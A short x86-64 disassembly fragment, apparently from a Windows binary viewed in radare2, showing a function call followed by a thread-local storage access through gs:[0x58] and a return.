lea rcx, [0x14018f4c8]
call fcn.140064bf0
nop
mov eax, 0x228
mov eax, eax
mov rcx, qword gs:[0x58]
add rax, qword [rcx]
add rsp, 0x68
ret